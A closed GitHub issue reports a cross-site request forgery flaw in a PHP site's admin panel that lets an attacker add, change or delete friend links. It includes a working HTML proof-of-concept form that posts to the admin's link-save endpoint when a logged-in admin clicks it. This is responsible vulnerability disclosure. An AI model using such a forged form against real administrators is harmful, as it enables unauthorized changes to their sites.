Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

There is a CSRF vulnerability that can add/modify/delete friend links #3

Closed
shimmeris opened this issue Jan 24, 2019 · 0 comments
Closed

There is a CSRF vulnerability that can add/modify/delete friend links #3

shimmeris opened this issue Jan 24, 2019 · 0 comments

Comments

@shimmeris
Copy link

just use add friend links for example:

After the admin logged in, we can send him a url with these code on that page

PoC:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost:9000/admin.php/links/save" method="POST">
      <input type="hidden" name="name" value="test" />
      <input type="hidden" name="url" value="http&#58;&#47;&#47;www&#46;google&#46;com" />
      <input type="hidden" name="cid" value="1" />
      <input type="hidden" name="pic" value="http&#58;&#47;&#47;" />
      <input type="hidden" name="sid" value="1" />
      <input type="hidden" name="id" value="0" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

after he clicked that button, then we can add our malicious link to the friend link:

admin page:
screen shot 2019-01-24 at 22 32 53

homepage:
qq20190124-224351 2x
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
1 participant
@shimmeris